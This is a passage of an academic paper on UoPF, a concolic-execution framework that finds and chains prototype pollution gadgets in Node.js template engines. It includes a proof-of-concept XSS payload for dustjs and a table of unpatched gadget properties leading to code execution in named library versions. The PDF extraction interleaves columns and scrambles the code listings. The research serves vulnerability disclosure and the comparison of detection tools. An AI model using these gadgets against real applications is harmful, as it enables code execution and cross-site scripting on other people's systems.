gadgets in 13 template into direct and chained. If gadgets are chained, we also engines. Table 1 shows a breakdown of these known gadgets break them down based on vertically/horizontally chained or based on direct vs. chained and a detailed breakdown of control-/data-flow dependent (CFD/DFD). The last column chained gadgets based on control- or data-flow dependency. delineates the potential impacts that these gadgets can inflict. There are no known gadgets that are vertically-chained and All consequences map to corresponding sink functions in that is why we did not include the breakdown of vertically Appendix B (Table 5). vs. horizontally chained. We now describe two case studies of zero-day gadgets found by U O PF. 5.1.2. Environment. All our experiments are executed on Case Study 1: XSS consequence. The first case study, as an Amazon EC2 instance of the c5.12xlarge type, which shown in Listing 6, is a direct gadget that leads to client- is equipped with 96 GB of memory and a 24-core In- side reflected cross-site scripting (XSS). After compilation tel(R) Xeon(R) Platinum 8275CL CPU running at 3.00GHz, of the HTML code (Line 5), there exists an undefined providing a total of 48 vCPUs. The instance is running property lookup in the rendering stage. Specifically, the Ubuntu 22.04.2 LTS with Node.js v16.20.0 installed. In render function (Line 8) calls the compiled (dynamically- order to maximize the utilization of computing resources, generated) code at Lines 16–21. When the template en- we configure the system to run a maximum of 48 concolic gine searches value in the array context, the rootdir execution worker processes in parallel. property at Line 26 (flowing from Line 19) is originally undefined and thus can be polluted, which further affects 5.1.3. Baselines. We use the following two baselines in the return value (Line 30) and then the HTML code that is evaluating U O PF as a comparison. sent to the client (Line 10). Note that the returned value is • Silent Spring (SS) [64]. We adopt the original code [65] escaped by dustjs with HTML encoding, but an adversary provided by the authors. Since the original code was can still inject an img tag attribute like Line 2. Another used to detect gadgets in Node.js standard libraries, many thing worth noting is that this example is a challenging Node.js template sinks are not included. Therefore, we task for existing static analysis, such as Silent Spring [64], also complement Silent Spring with all the Node.js tem- due to the heavy involvement of dynamically generated plate engine sinks as shown in Appendix B (Table 5). code. Specifically, Lines 16–21 are generated dynamically • Silent Spring with undefined found by U O PF (SS- by dustjs during compilation, which are not analyzed by a U O PF-init). We also incorporate Silent Spring with static analyzer like CodeQL. all the undefined properties discovered by U O PF and Case Study 2: Cross-library, Control-flow Dependent call the variant SS-U O PF-init. Specifically, Silent Spring Gadgets. The second case study shown in Listing 7 spans only considers direct property lookup by name to load across two libraries, i.e., ect@0.5.9 and coffee-script. This undefined properties, but not those accessed via the for-in template engine first compiles the template content into loop. CoffeeScript (not shown in the figure), then transpiles the TABLE 2: [RQ1] A breakdown of zero-day gadgets found by UoPF that cannot be found by the state-of-the-art approach, i.e. Silent Spring[62]. The column Verti-, Hori-, CFD, and DFD are shorthand for Vertically-chained gadgets, Horizontally- chained Gadgets, Control-flow Dependent Gadgets, and Data-flow Dependent Gadgets respectively. Chained Gadget Property Library Version LoC Entry API Input Properties Impact Status Verti- / Hori- CFD / DFD compile uncond code, value # H # H ACE Reported compile uncond line, value H # H # ACE Reported compile include exposing, value # H # H ACE Reported node-blade 3.3.1 7.7K compile render output, value H # # H ACE Reported compile for-each itemAlias, value # H # H ACE Reported compile uncond templateNamespace, value # H H # ACE Reported renderFile uncond escapeFunction, client H # H # ACE Reported renderFile uncond escape, client # H # H ACE Reported ejs 2.7.4 3.3K renderFile uncond destructuredLocals N/A N/A ACE Fixed renderFile uncond settings N/A N/A ACE Fixed squirrellyJS 8.0.8 3.3K renderFile uncond settings, n # H G # ACE Fixed dustjs 3.0.1 11.2K render array title N/A N/A XSS Reported ect 0.5.9 0.7K ECT uncond indent N/A N/A ACE Reported (coffee-script) 1.12.7 9.6K ECT uncond filename, inlineMap H # G # ACE Reported process uncond global N/A N/A ACE Fixed doT 1.1.3 1.8K process uncond destination N/A N/A FileIO Fixed compile uncond code N/A N/A ACE Reported pug 3.0.2 5.9K compile attrs val N/A N/A ACE Reported renderFile uncond code, self # H H # ACE Reported jade 1.11.0 13.8K renderFile uncond block, self G # # H ACE Reported hamlet uncond filename N/A N/A ACE Reported hamlet 0.3.3 0.5K hamlet uncond variable N/A N/A ACE Reported mote 0.2.0 8.5K compile uncond ANYKEY∗ N/A N/A ACE Reported ractive.js 1.4.2 97.4K toHTML uncond statics N/A N/A ACE Reported saker 1.1.1 1.2K compile uncond $saker_raw$, str G # # H XSS Reported ∗ : ANYKEY means the pollute property name can assume any value. CoffeeScript code into JavaScript code through the coffee- TABLE 3: [RQ2] Comparison of U O PF and baselines on script library (Line 4), and finally utilizes eval to dy- False Negative Rate, i.e., FNR = FN/(TP+FN), and False namically execute the output (Line 4). There are two in- Positive Rate, i.e., FPR = FP/(TP+FP), using latest and stances of undefined property lookups in coffee-script at legacy template engines. Note that the definitions of FPR Lines 9 and 10 respectively. The first undefined prop- and FNR follow prior vulnerability detection works [34, 45, erty lookup (options.inlineMap) affects the control- 48]. Specifically, FPR indicates the percentage of human flow of the program, thus leading to the second undefined work in sifting through reports and FNR the percentage of (options.filename). Note that this example is chal- missed vulnerabilities. lenging to detect because the involvement of control-flow Latest Template Engines Legacy Template Engines dependent gadgets. TP FN FP FNR FPR TP FN FP FNR FPR SS [64] 1 25 4 0.961∗∗ 0.8 1 14 5 0.943 0.833 5.3. RQ2: False Negatives and Positives SS-UoPF-init 2 24 3 0.923∗∗ 0.6 4 11 2 0.886 0.333 UoPF (Ours) 26 0 0 N/A∗ 0 10 5 0 0.333 0 In this research question, we evaluate the False Negatives ∗ : N/A means that we do not have ground truth and cannot estimate FNR. (FNs) and False Positives (FPs) of U O PF and compare them ∗∗ : This is a lower bound estimated based on U O PF’s results. with baselines, namely Silent Spring and its variant with undefined properties provided by U O PF (called SS-U O PF- init). Table 3 presents the evaluation results (i.e., FN and FP) of a lower number of false negatives. We now describe the of U O PF and baselines on two datasets, i.e., latest template reasons for FNs of both U O PF and Silent Spring. Let us engines with 26 gadgets and legacy template engines with start from U O PF, which may have FNs due to three major 15 gadgets (as we show in Section 5.1.1 based on our reasons: manual collection). Note that we manually verify all the • Unsupported constraints. Some constraints are either results to make sure that a TP means that the gadget chain is too complex (e.g., involving regular expression or heavy exploitable with prototype pollution inputs. We now describe string operations) or implicit (e.g., object deep copy im- these two metrics below: plying that keys are the same). For example, the gadget in False Negatives. U O PF outperforms Silent Spring in terms Hogan.js heavily uses split and charAt methods. 1 // Exploit code • Scalability. The search for gadgets in some template 2 Object.prototype.rootdir = "; onerror=alert(1);//" engines, such as jade, may encounter a large search 3 space due to the complex object structure, leading to a 4 // Simplified vulnerable code 5 var tmpl = dust.compile("{#names}{˜n}{/names}", "mytmpl"); // return the Next, we describe the major reasons of FNs for Silent template code in Lines 16--21 6 dust.loadSource(tmpl); Spring. 7 app.get(’/’, function(req, res) { • Chained Gadgets. Silent Spring only supports direct 8 dust.render("mytmpl", { rootdir: "/tmp/", names: [ { name: "Moe" } ] }, function(err, out ) { gadgets without any control- or data-flow dependencies. 9 if(err) console.error(err); First, we describe the control-flow dependent gadgets, 10 else res.send( out ); 11 // response: ... such as in Listing 7, as an example. Silent Spring fails to 12 }); // dust.render calls the template code (Lines find the second undefined property lookup (Line 10) as it 16--21) based on "mytmpl" and then the callback requires assigning a value to the first undefined property function with the returned value 13 }); lookup (Line 9) to enter the branch, which leads to a 14 missing taint source during its static analysis. Second, let 15 // dynamically-generated template function 16 (function(dust){ us describe data-flow dependent gadgets. Silent Spring 17 ... may identify one of the gadgets leading to the sink, but 18 function body_1(chk,ctx) { the exploitation still remains incomplete and will raise 19 return chk.w("\n"); property. 20 } 21 ... }(dust)); • Dynamically-generated JavaScript. The static analy- 22 sis of Silent Spring, namely CodeQL, cannot process 23 // dust.js runtime dynamically-generated code, like Lines 16–21 in List- 24 Context.prototype._get = function(cur, down){ 25 while (ctx) { ... ing 6. This is a traditionally challenging problem for static 26 value = ctx.head[ first ]; // originally-undefined analysis of JavaScript. 27 if (value !== undefined) {break;} 28 ctx = ctx.tail; • Missing undefined properties. Silent Spring does not 29 } ... output undefined properties related to a for...in loop. 30 return value ; The addition of such undefined properties helps Silent 31 } Spring to detect four more gadgets as shown in the results Listing 6: A case study of a direct gadget chain of of SS-U O PF-init in Table 3. dustjs@3.0.1 leading to reflected XSS on the client side. False Positives. U O PF does not have any false positives 1 // etc library because U O PF verifies all the gadgets with generated ex- 2 compile = function(template){ ploits automatically. By contrast, Silent Spring has FPs due 3 ... to over-tainting. 4 return eval(’(function __ectTemplate(...) {\n’ + CoffeeScript.compile(buffer, { bare : true }) + ’ • Initial Over-tainting. Silent Spring marks a property });’);} look-up as tainted as long as the property is undefined in 5 6 // coffee-script library one location, leading to over-tainting in other locations. 7 exports.compile = function(code, options){ Consider the analysis of Pug as an example. Upon iden- 8 ... 9 if (options.inlineMap) { //first undefined tifying the undefined property code, Silent Spring marks 10 sourceURL = "//# sourceURL=" + ((ref1 = options. every property lookup with the property name code filename) != null ? ref1 : ’coffeescript’); // across the entire code base as a potential taint source. options.filename is the second undefined 11 js = js + "\n" + sourceMapDataURI + "\n" + This approach results in 35 instances being flagged where sourceURL; only three are real undefined property lookups during 12 } 13 ... execution. 14 return js; • Over-tainting during Propagation. Silent Spring may 15 } over-taint objects during taint propagation, especially Listing 7: An example of a cross-library gadget within when some objects are already being sanitized. A common etc@0.5.9 and coffee-script@1.12.7. scenario is that a value has been stringified (e.g. using JSON.stringify), and is then used as a string within For another example, the gadgets in squirrellyjs and the body of a function to be compiled. In such cases, any doT require a merge function that imposes an implicit injected code is restricted as part of the string context to key-related constraint for objects before and after the execute. merge. • Unsupported type. Currently, U O PF only supports 5.4. RQ3: Performance Overhead simple types and multi-layer objects where fields are either nested objects or simple types. For example, the In this section, we answer the research question of exploitation of gadgets in mustache requires nested U O PF’s performance in searching and chaining prototype arrays that are not supported by U O PF currently. pollution gadgets. First, we break down the analysis time 5.5. RQ4: Code Coverage & Path Number In this section, we answer the research question on Static Analysis Time U O PF’s capability in discovering new undefined properties with increased code coverage and more unique control-flow paths. More specifically, we choose three template engines, namely ejs, pug, and jade, and show their code coverage, number of unique control flow paths and newly discovered undefined values over time. Figure 4 shows the results: the top figure shows both code coverage (left y-axis) and the unique number of paths (right y-axis) and the bottom figure shows both the number of total undefined properties in the pool and the number of tested undefined properties. We keep running U O PF until the first gadget chain is found for the target template engine. We have three observations. First, U O PF helps to ex- plore the target program to find new code for gadget Figure 2: [RQ3] A Breakdown of End-to-end Analysis Time chain exploitation. The horizontal lines in each subfigure of U O PF to Detect and Exploit a Given Gadget. Note that of Figure 4 are the code coverages without any prototype gadgets are sorted by the total analysis time. pollution inputs. U O PF does help the target program to reach previously-unseen code for prototype pollution chain exploitation. into three parts according to the system architecture in Second, the code coverage tends to stay stable over time Figure 1: (i) static analysis in Phase (a), (ii) search time for after an initial increase, but the number of unique paths different undefined property combinations in Phases (b) and keeps increasing. The reason is that U O PF is exploring (c-2), and (iii) final exploit generation in Phases (b) and code that has been analyzed before; however, different com- (c-1). Figure 2 shows such a breakdown of analysis time bination of code will lead to different unique control-flow of U O PF on different gadgets: Due to the wide range of paths. Such different control-flow will eventually lead to a analysis time, we adopt log-scale for the y-axis in Figure 2. exploitable gadget chain. In other words, code coverage is not the only factor for gadget chain detection and exploita- We have the following observations based on the evalu- tion, but instead the number of new control-flow paths is ation results. First, static analysis is relatively stable across important to exploit the sink. the detection of different gadgets and also small compared Lastly, U O PF keeps discovering new undefined prop- with concolic execution. The reasons are twofold. On one erties. The bottom graphs of Figure 4 show that the to- hand, the static analysis performed on target Node.js pro- tal number of undefined properties keep increasing. It is grams, i.e., template engines, is an overapproximation of the because U O PF discovers more undefined properties, some- call graph, which is fast. On the other hand, test cases are times defined in other execution paths, over time for each relatively small, and static analysis on such test cases is fast run. This highlights the importance of discovering new too. Second, the gadget search time dominates the entire undefined properties for chaining during concolic execution. analysis time in most cases. The reason is that U O PF tries It is worth noting that U O PF added 12 control- and 81 data- different combinations of undefined properties in concolic flow dependent properties with originally-undefined values execution, which is a relatively heavy-weight process com- to the undefined pool for these three template engines. pared with static analysis. Lastly, the exploit generation time is mostly small compared with static analysis and gadget 6. Discussion search, but it could be large in some cases. Specifically, in one case, the number of branching statements leading We discuss commonly-raised questions below. to the sink is large along the exploitable control-flow path. Therefore, the constraint solver needs to coordinate multiple U O PF’s extension to website JavaScript and stan- properties inside the payload object to generate an exploit. dard Node.js libraries. The idea of U O PF, particu- larly Undefined-oriented Programming, is applicable to any Second, we show the end-to-end analysis time of U O PF JavaScript code including website JavaScript and standard in detecting and exploiting gadget chains with regard to the Node.js libraries. However, the evaluation of U O PF in a new tested number of undefined properties in a template engine. environment requires additional engineering efforts though, Figure 3 shows the results: As the number of undefined i.e., the support of client-side APIs for website JavaScript properties increases, the analysis time also increases roughly and the propagation of concolic variables inside standard linearly. Since the number of total undefined properties is Node.js libraries. To effectively analyze Node.js libraries relatively small, U O PF is scalable to analyze even a large- for potential gadgets, a modified Node.js runtime with the scale template engine. instrumented standard library to enable concolic execution TABLE 4: Comparison of prototype pollution gadgets in different locations. Location Condition Consequence Detection System Website JavaScript A website or similar ones with certain library DOM-based XSS; cookie/URL manipulation Probe the Proto [36] Standard Node.js Libraries Gadget-related API (like spawn) Command injection leading to RCE Silent Spring [64] Node.js Template Engines A template engine and maybe certain inputs Arbitrary JS code execution; reflected XSS U O PF (Our Work) Therefore, U O PF tries its best to keep concolic variables symbolic, but will concretize them if the operations are not supported. We will leave more complex operations such as those involving regular expression as our future work. Feasibility in Manipulation of Multiple Properties. One pre-condition of Undefined-oriented Programming is the requirement of manipulating more than one property via Time (s) prototype pollution. That is, the existence of one gadget or a gadget chain does not indicate exploitability; instead, the existence of a vulnerability with the conditions is nec- essary. We would like to note that many prototype pollution vulnerabilities allow the pollution of arbitrary numbers of undefined properties directly or can be triggered multiple times to inject different property keys. For example, CVE- 2023-26920 [4] in “fast-xml-parser” allows the pollution of Tested Undefined Property Number arbitrary numbers of undefined properties. Figure 3: [RQ3] End-to-end Analysis Time vs. The Tested Number of Undefined Properties. 7. Related Work In this section, we discuss related work. is necessary. Therefore, we leave the detection of chained Prototype Pollution Vulnerabilities. We first introduce gadgets in these two targets as our future work. related work on the detection of prototype pollution vul- At the same time, we also compare gadgets found in nerabilities [17, 36, 39, 41, 44, 45, 64, 73]. For example, different locations and show the differences in Table 4. Li et al. [44, 45] propose object dependence graphs to Let us describe two parts: (i) conditions, i.e., when such statically find injection vulnerabilities in Node.js libraries, gadgets may exist and be utilized by an adversary, and including prototype pollution. DAPP [39] largely adopts (ii) consequences, i.e., what specific damages gadgets may Abstract Syntax Tree (AST) and control-flow features as cause. First, gadgets found in website JavaScript are usually simple detection patterns of prototype pollution vulnerability particular to that website or websites with certain JavaScript detection, which leads to high false positives and negatives. libraries containing the gadget. Therefore, the consequences Kluban et al. [41] provide function-level vulnerability de- are also client-side only, such as Document Object Model tection based on vulnerable pattern recognition and textual (DOM)-based XSS and cookie/URL manipulation. Second, similarity methods, in which they summarized the pattern gadgets found in standard Node.js libraries are usually spe- for JavaScript prototype pollution. Xiao et al. [73] study cific to a server-side application that uses gadget-related hidden property attacks, with prototype pollution being one APIs such as spawn and execSync. Therefore, the con- of the primary attack vectors, on the communication process sequences are usually server bound, such as command in- between client-side and server-side code in Node.js pro- jection leading to remote command code execution. Lastly, grams. Furthermore, Bhuiyan et al. [19] have constructed gadgets that are found in Node.js template engines affect the first vulnerability benchmark for server-side JavaScript, both client- and server-side programs, because template including prototype pollution. While a handful of research engines are used to generate client-side HTML code on the focuses on vulnerability detection, our work focuses on server side. Note that many such template engines do not vulnerability exploitation, specifically exploring how to es- use sinks like spawn that are prevalent in Node.js standard calate the impact of vulnerability to more serious malicious library gadgets. Correspondingly, the consequences involve consequences. both server- and client-sides, such as arbitrary JavaScript Next, we describe the research work toward the auto- code execution and reflected XSS. matic exploitation of prototype pollution vulnerability re- Symbolization vs. Concretization. Ideally, U O PF post- garding gadget detection. Kang et al. [36] use dynamic pones all the concretization until the sink to generate a taint analysis to explore how prototype pollution could be prototype pollution exploit. However, in practice, some oper- exploited to trigger a variety of vulnerabilities (including ations involving symbolic variables are hard to resolve, such XSS, cookie manipulation, and URL manipulation) on the as those related to regular expression and external libraries. client side instead of the server side. Steffens [69] explores Tested Undefined Properties Tested Undefined Properties Tested Undefined Properties (a) ejs template engine (b) pug template engine (c) jade template engine Figure 4: [RQ4] The top part of each graph illustrates the code coverage and the number of unique execution paths throughout the testing process with the horizontal line as the code coverage without U O PF. The bottom part represents the number of undefined properties in total and the number of tested undefined properties. the client-side prototype pollution gadgets and presents a ity are triggered and chained by undefined property lookups concolic execution engine built on Jalangi in his thesis. instead of method polymorphism. Therefore, U O PF lever- However, the work cannot detect any chained gadgets be- ages concolic execution for more precise path exploration cause it only symbolizes one undefined property per test with the undefined property. case. Moreover, its concolic execution engine is limited to JavaScript Security. The security community has been primitives (i.e. strings and integers) while U O PF supports studying the security of JavaScript in recent years across the symbolic modeling of value in array and object both client-side [29, 37, 38, 40, 53, 67, 68, 76] and server- types. Silent Spring [64] has first shed light on the automatic side applications [19, 35, 44, 70], package management exploitation of prototype pollution vulnerability in server- system [47, 71, 75, 78], Node.js [24, 28], and template en- side applications. As a pioneer work, they provide a dynamic gines [77]. For example, Zhao et al. [77] present TEFUZZ, analysis for undefined property collection and a static multi- a tool designed to automatically detect and exploit SSTI label taint analysis for gadget detection, specifically cus- vulnerabilities that leads to RCE consequences. As a com- tomed for Node.js standard library. However, their approach parison, prototype pollution gadgets are different from the does not support detecting chained gadgets and suffers from traditional SSTI where the payload comes from the user high false negatives and positives mainly due to JavaScript’s requests. Instead, U O PF focuses on the payload derived dynamic features and over-tainting issues. from undefined property lookups under the context of the Automated Gadgets Discovery in OIVs. The term of existence of prototype pollution vulnerability. gadgets is also used in object injection vulnerability (OIV), Recently, more analysis works have also been con- which is triggered via object deserialization and then chains ducted in other contexts like mini-programs in mobile soft- different code snippets via polymorphism. Prior works have ware [72, 74]. One popular program analysis technique for studied the verification and exploit generation for OIVs with JavaScript is symbolic/concolic testing, which has demon- gadget chains across different programming languages such strated a powerful ability in generating inputs for deeper as Java [21, 22, 23, 54], PHP [25, 26, 52, 61], and .NET [63]. path exploration in both compiled languages [20, 51, 66] and These studies often involve automated gadget detection and scripting languages like Python [33] and PHP [18, 42, 43]. the construction of exploit objects via a hybrid strategy: There are two types of symbolic/concolic testing methods: That is, they statically identify potential gadget chains, and static and dynamic. Let us start from static method. Static then dynamically generate injection objects for fuzzing. symbolic execution engines [30, 56] for JavaScript require We first describe Java deserialization vulnerability. Cao et compiling the JavaScript program to a simplified intermedi- al. [22] proposed GCMiner, which captures both explicit ate language, namely JSIL, which may lose certain intrinsic and implicit method calls to identify candidate gadget chains JavaScript features such as prototype property inheritance. and adopts an overriding-guided object generation method We then describe dynamic symbolic execution, which to ensure the validity of injection objects during fuzzing. can also be grouped into two categories: symbolic execution They later proposed ODDFuzz [21] to enhance the effective- on execution traces [46, 57], and concolic execution in ness and efficiency of gadget chain validation via structure- runtime [49, 50, 59, 60]. The former approach extracts aware directed grey-box fuzzing. Next, we describe PHP execution traces by dynamically running the program on the deserialization vulnerabilities. Park et al. [52] introduced the JavaScript Runtime, and then symbolically interprets these first automatic exploit generation for PHP object injection traces to extract path constraints and generate output. Li vulnerability, which combines coarse-grained static analysis et al. [46] build the first in-situ concolic execution engine, with feedback-driven targeted fuzzing. As a comparison with which symbolically executes binary-level execution traces U O PF, gadgets exploited in prototype pollution vulnerabil- generated by Chrome’s V8 JavaScript engine. The latter approach relies on code instrumentation, modifying each [3] Code execution after prototype pollution · Issue #291 operation to simultaneously perform execution on concrete · olado/doT. https://github.com/olado/doT/issues/291. values and update symbolic states. Jalangi2 [58] is a widely Accessed: 2023-08-02. used framework for writing dynamic analyses for JavaScript. [4] Cve-2023-2692. https://nvd.nist.gov/vuln/detail/ ExpoSE [49, 50], a concolic execution engine for Node.js CVE-2023-2692. applications, is built on the Jalangi2 framework. It has [5] Json Analyser - InCTF Internationals 2021 improved the support for regular expression modeling in — bi0s. https://blog.bi0s.in/2021/08/15/Web/ constraint solving. We developed our tools based on ExpoSE inCTFi21-JsonAnalyser/. Accessed: 2023-08-02. and introduced type inference and type coercion to enhance [6] NodeJS - proto & prototype Pollution - Hack- their efficiency and scalability. Tricks. https://book.hacktricks.xyz/pentesting-web/ deserialization/nodejs-proto-prototype-pollution. Ac- cessed: 2023-08-02. 8. Conclusion [7] Polluting Template Engine Cache via Prototype Pol- lution. https://ptr-yudai.hatenablog.com/entry/2022/09/ In this paper, we design and implement an open-source 04/230612. Accessed: 2023-08-02. framework, called U O PF (Undefined-oriented Programming [8] Revisiting JavaScript Prototype Chain Pollution to Framework), to detect and chain prototype pollution gadgets RCE. https://xz.aliyun.com/t/7025. Accessed: 2023- in Node.js template engines. On one hand, U O PF generates 08-02. normal program inputs that can potentially trigger sinks [9] Security bug about prototype pollution · Issue #1331 · in template engines. On the other hand, U O PF extracts mozilla/nunjuck. https://github.com/mozilla/nunjucks/ undefined properties in template engines, marks them as issues/1331. Accessed: 2023-08-02. concolic variables, and guides the concolic execution to [10] Security bug about prototype pollution · Issue #804 reach sinks with solvable constraints. · linkedin/dustjs. https://github.com/linkedin/dustjs/ In the evaluation, we curate a dataset of prototype pol- issues/804. Accessed: 2023-08-02. lution gadgets from existing known, online sources. Then, [11] Security leak in .template, please update · Issue #2915 we come up with the first taxonomy of gadget chaining · jashkenas/underscore. https://github.com/jashkenas/ and show that gadgets could have control- or data-flow underscore/issues/2915. Accessed: 2023-08-02. dependencies on each other and be either vertically or [12] SecurityMB’s October 2021 Prototype Pollution horizontally chained. We evaluate both U O PF and state of Challenge · Creastery. https://www.creastery.com/blog/ the art, namely Silent Spring, on the dataset and the results securitymb-october-2021-prototype-pollution-challenge/. show that U O PF outperforms Silent Spring with lower false Accessed: 2023-08-02. positives and negatives. We also evaluate U O PF on popular, [13] STACK the flags 2020 CTF - Final Count- latest Node.js template engines, which reveal many zero-day down – Quan Yang. https://quanyang.github.io/ gadgets including chained ones. stack-2020-final-countdown/2. Accessed: 2023-08-02. [14] with package. https://www.npmjs.com/package/with. Acknowledgment Accessed: 2023-08-02. [15] XNUCA2019 Hardjs Problem Solution From Proto- We would like to thank anonymous shepherd and review- type Chain Pollution to RCE. https://xz.aliyun.com/t/ ers for their helpful comments and feedback. This work was 6113. Accessed: 2023-08-02. supported in part by National Science Foundation (NSF) un- [16] A RTEAU , O. Prototype pollution attack in NodeJS ap- der grants CNS-21-54404 and CNS-20-46361 and a Defense plication. https://repository.root-me.org/Exploitation% Advanced Research Projects Agency (DARPA) Young Fac- 20-%20Web/EN%20-%20JavaScript%20Prototype% ulty Award (YFA) under Grant Agreement D22AP00137- 20Pollution%20Attack%20in%20NodeJS%20-% 00 as well as an Amazon Research Award (ARA) 2021 20Olivier%20Arteau%20-%202018.pdf. Accessed: and gifts from Visa Research. The views and conclusions 2023-08-02. contained herein are those of the authors and should not be [17] A RTEAU , O. Prototype pollution attack in nodejs interpreted as necessarily representing the official policies or application. NorthSec. Olivier Arteau (2018). endorsements, either expressed or implied, of NSF, DARPA, [18] A ZAD , B. A., JAHANSHAHI , R., T SOUKALADELIS , Amazon, or Visa Research. C., E GELE , M., N IKIFORAKIS , N., AND H OUR , H. Animatedead: Debloating web applications using con- colic execution. References [19] B HUIYAN , M. H. M., PARTHASARATHY, A. S., VASILAKIS , N., P RADEL , M., AND S TAICU , C.-A. [1] A Deeper Understanding of JavaScript Prototype Secbench. js: An executable security benchmark suite Pollution Attacks. https://www.leavesongs.com/ for server-side javascript. In International Conference PENETRATION/javascript-prototype-pollution-attack. on Software Engineering (ICSE) (2023). html. Accessed: 2023-08-02. [20] C ADAR , C., D UNBAR , D., E NGLER , D. R., ET AL . [2] Babel. https://babeljs.io/. Accessed: 2022-12-14. Klee: Unassisted and automatic generation of high- coverage tests for complex systems programs. In OSDI and Privacy (S&P’06) (2006), IEEE, pp. 6–pp. (2008), vol. 8, pp. 209–224. [35] K ANG , M., X U , Y., L I , S., G JOMEMO , R., H OU , [21] C AO , S., H E , B., S UN , X., O UYANG , Y., Z HANG , C., J., V ENKATAKRISHNAN , V., AND C AO , Y. Scaling W U , X., S U , T., B O , L., L I , B., M A , C., ET AL . Odd- javascript abstract interpretation to detect and exploit fuzz: Discovering java deserialization vulnerabilities node. js taint-style vulnerability. In 2023 IEEE Sym- via structure-aware directed greybox fuzzing. arXiv posium on Security and Privacy (SP) (2023), IEEE preprint arXiv:2304.04233 (2023). Computer Society, pp. 1059–1076. [22] C AO , S., S UN , X., W U , X., B O , L., L I , B., W U , [36] K ANG , Z., L I , S., AND C AO , Y. Probe the proto: R., L IU , W., H E , B., O UYANG , Y., AND L I , J. Im- Measuring client-side prototype pollution vulnerabili- proving java deserialization gadget chain mining via ties of one million real-world websites. In Network and overriding-guided object generation. arXiv preprint Distributed System Security Symposium (NDSS 2022) arXiv:2303.07593 (2023). (2022). [23] C HEN , X., WANG , B., J IN , Z., F ENG , Y., L I , X., [37] K HODAYARI , S., AND P ELLEGRINO , G. JAW: Study- F ENG , X., AND L IU , Q. Tabby: Automated gadget ing client-side CSRF with hybrid property graphs and chain detection for java deserialization vulnerabilities. declarative traversals. In 30th USENIX Security Sym- In Proceedings of the 53rd Annual IEEE/IFIP In- posium (USENIX Security 21) (2021), pp. 2525–2542. ternational Conference on Dependable Systems and [38] K HODAYARI , S., AND P ELLEGRINO , G. It’s (dom) Network (DSN). IEEE (2023). clobbering time: Attack techniques, prevalence, and [24] C HRISTOU , G., N TOUSAKIS , G., L AHTINEN , E., defenses. In 44th IEEE Symposium on Security and I OANNIDIS , S., K EMERLIS , V. P., AND VASILAKIS , Privacy (2023). N. Binwrap: Hybrid protection against native node. js [39] K IM , H. Y., K IM , J. H., O H , H. K., L EE , B. J., M UN , add-ons. S. W., S HIN , J. H., AND K IM , K. Dapp: automatic [25] DAHSE , J., AND H OLZ , T. Simulation of built-in php detection and analysis of prototype pollution vulner- features for precise static code analysis. In NDSS ability in node. js modules. International Journal of (2014), vol. 14, pp. 23–26. Information Security 21, 1 (2022), 1–23. [26] DAHSE , J., K REIN , N., AND H OLZ , T. Code reuse [40] K LEIN , D., BARBER , T., B ENSALIM , S., S TOCK , B., attacks in php: Automated pop chain generation. In AND J OHNS , M. Hand sanitizers in the wild: A large- Proceedings of the 2014 ACM SIGSAC Conference scale study of custom javascript sanitizer functions. In on Computer and Communications Security (2014), 2022 IEEE 7th European Symposium on Security and pp. 42–53. Privacy (EuroS&P) (2022), IEEE, pp. 236–250. [27] D E M OURA , L., AND B JØRNER , N. Z3: An efficient [41] K LUBAN , M., M ANNAN , M., AND YOUSSEF, A. On smt solver. In International conference on Tools and measuring vulnerable javascript functions in the wild. Algorithms for the Construction and Analysis of Sys- In Proceedings of the 2022 ACM on Asia Conference tems (2008), Springer, pp. 337–340. on Computer and Communications Security (2022), [28] D INH , S. T., C HO , H., M ARTIN , K., O EST, A., Z ENG , pp. 917–930. K., K APRAVELOS , A., A HN , G.-J., BAO , T., WANG , [42] L I , P., M ENG , W., AND L U , K. Sediff: scope-aware R., D OUP É , A., ET AL . Favocado: Fuzzing the binding differential fuzzing to test internal function models in code of javascript engines using semantically correct symbolic execution. In Proceedings of the 30th ACM test cases. In NDSS (2021). Joint European Software Engineering Conference and [29] FASS , A., S OM É , D. F., BACKES , M., AND S TOCK , Symposium on the Foundations of Software Engineer- B. Doublex: Statically detecting vulnerable data flows ing (2022), pp. 57–69. in browser extensions at scale. In Proceedings of [43] L I , P., M ENG , W., L U , K., AND L UO , C. On the the 2021 ACM SIGSAC Conference on Computer and feasibility of automated built-in function modeling for Communications Security (2021), pp. 1789–1804. php symbolic execution. In Proceedings of the Web [30] F RAGOSO S ANTOS , J., M AKSIMOVI Ć , P., S AMPAIO , Conference 2021 (2021), pp. 58–69. G., AND G ARDNER , P. Javert 2.0: compositional [44] L I , S., K ANG , M., H OU , J., AND C AO , Y. Detecting symbolic execution for javascript. Proceedings of the node. js prototype pollution vulnerabilities via object ACM on Programming Languages 3, POPL (2019), 1– lookup analysis. In Proceedings of the 29th ACM Joint 31. Meeting on European Software Engineering Confer- [31] G ITHUB. CodeQL, 2023. https://codeql.github.com/. ence and Symposium on the Foundations of Software [32] H OLOWAYCHUK , T. Repository for server-side tem- Engineering (2021), pp. 268–279. plate engines in node.js, 2023. [45] L I , S., K ANG , M., H OU , J., AND C AO , Y. Mining [33] I RLBECK , M., ET AL . Deconstructing dynamic sym- node. js vulnerabilities via object dependence graph bolic execution. Dependable Software Systems Engi- and query. In Proceedings of the USENIX Security neering 40, 2015 (2015), 26. Symposium (2022). [34] J OVANOVIC , N., K RUEGEL , C., AND K IRDA , E. Pixy: [46] L I , Z., AND X IE , F. In-situ concolic testing of A static analysis tool for detecting web application javascript. In 2023 IEEE International Conference vulnerabilities. In 2006 IEEE Symposium on Security on Software Analysis, Evolution and Reengineering (SANER) (2023), IEEE, pp. 236–247. S. Jalangi: A selective record-replay and dynamic [47] L IU , C., C HEN , S., FAN , L., C HEN , B., L IU , Y., AND analysis framework for javascript. In Proceedings of P ENG , X. Demystifying the vulnerability propagation the 2013 9th Joint Meeting on Foundations of Software and its evolution via dependency trees in the npm Engineering (2013), pp. 488–498. ecosystem. In Proceedings of the 44th International [60] S EN , K., N ECULA , G., G ONG , L., AND C HOI , W. Conference on Software Engineering (2022), pp. 672– Multise: Multi-path symbolic execution using value 684. summaries. In Proceedings of the 2015 10th Joint [48] L IVSHITS , V. B., AND L AM , M. S. Finding security Meeting on Foundations of Software Engineering vulnerabilities in java applications with static analy- (2015), pp. 842–853. sis. In 14th USENIX Security Symposium (USENIX [61] S HAHRIAR , H., AND H ADDAD , H. Object injection Security 05) (Baltimore, MD, July 2005), USENIX vulnerability discovery based on latent semantic in- Association. dexing. In Proceedings of the 31st Annual ACM [49] L ORING , B., M ITCHELL , D., AND K INDER , J. Ex- 